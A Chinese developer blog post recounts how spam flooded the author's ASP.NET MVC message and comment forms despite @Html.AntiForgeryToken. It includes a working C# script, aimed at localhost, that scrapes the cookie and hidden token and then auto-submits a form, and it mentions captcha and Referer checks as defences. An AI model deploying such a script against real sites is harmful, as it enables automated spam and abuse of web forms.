网站被攻击经历(Html.AntiForgeryToken验证被破解)
作者:喻家军 发表时间:2016-03-22 16:10:56

   @Html.AntiForgeryToken MVC设计为防止跨域提交所做的安全验证,何为跨域提交,简单来说就是直接通过url提交数据。

        某天不经意间发现留言徒增几万条,打开页面一看全是垃圾数据,这已经很明显被攻击了,当时留言页面只有 @Html.AntiForgeryToken 验证,攻击人肯定是解决了这个验证问题,当时因为各种原因在提交数据时添加了验证码暂时解决了这个问题。

        而后在某天不经意间查看错误日志,发现有个页面出现多个错误信息,打开页面一看评论又被攻击了,评论也只有 @Html.AntiForgeryToken 验证,当时只改了留言,把评论忘了,而后又把评论的验证码加上。

       闲下来决定研究下 @Html.AntiForgeryToken  验证,下载MVC源码,一路查看下来,原理很简单,在页面调用时生一个加密串在cookie里,然后再生成一个加密串返回给客户端(两个加密串不同),提交时根据自己的规则比较。

自己也写了注入代码,轻松就被注入了

准备工具:HtmlAgilityPack

 

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using HtmlAgilityPack;
namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            Encoding encoding = Encoding.UTF8;
            string responseData = String.Empty;
            string cookie = string.Empty;
            HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://localhost:8030");
            req.Method = "GET";
            using (HttpWebResponse response = (HttpWebResponse)req.GetResponse())
            {
                using (StreamReader reader = new StreamReader(response.GetResponseStream(), encoding))
                {
                    responseData = reader.ReadToEnd();
                }
                cookie = response.Headers["set-cookie"];//取得cookie 多个cookie此处注意截取方式 只取__RequestVerificationToken
            }
            string cookieValue = cookie.Substring(0, cookie.IndexOf(';'));
            HtmlAgilityPack.HtmlDocument html = new HtmlAgilityPack.HtmlDocument();
            html.LoadHtml(responseData);
            var node = html.DocumentNode.SelectSingleNode("//input[@name='__RequestVerificationToken']");//取得页面 验证标签
            string formValue = node.GetAttributeValue("value", "1");//取得页面 验证值

            SendRequest(cookieValue.Split('=')[1], formValue);
        }
        private static void SendRequest(string cookieValue,string formValue)
        {
            Encoding encoding = Encoding.UTF8;
            string param = "__RequestVerificationToken=" + formValue;
            byte[] bs = Encoding.ASCII.GetBytes(param);
            string responseData = String.Empty;

            var cookie = new Cookie("__RequestVerificationToken", cookieValue);
            cookie.Domain = "localhost";
            var cookieContainer = new CookieContainer();
            cookieContainer.Add(cookie);

            HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://localhost:8030/Home/SubmitForm");
            req.Method = "POST";
            req.ContentLength = bs.Length;
            req.ContentType = "application/x-www-form-urlencoded";
            req.CookieContainer = cookieContainer;
            using (Stream reqStream = req.GetRequestStream())
            {
                reqStream.Write(bs, 0, bs.Length);
                reqStream.Close();
            }
            using (HttpWebResponse response = (HttpWebResponse)req.GetResponse())
            {
                using (StreamReader reader = new StreamReader(response.GetResponseStream(), encoding))
                {
                    responseData = reader.ReadToEnd();
                }
            }
        }
    }
}

 

 

验证码只是其中一个防御方式,想到另一种方式只不过没验证,利用防盗链的原理来处理,判断来路是否为网站域名。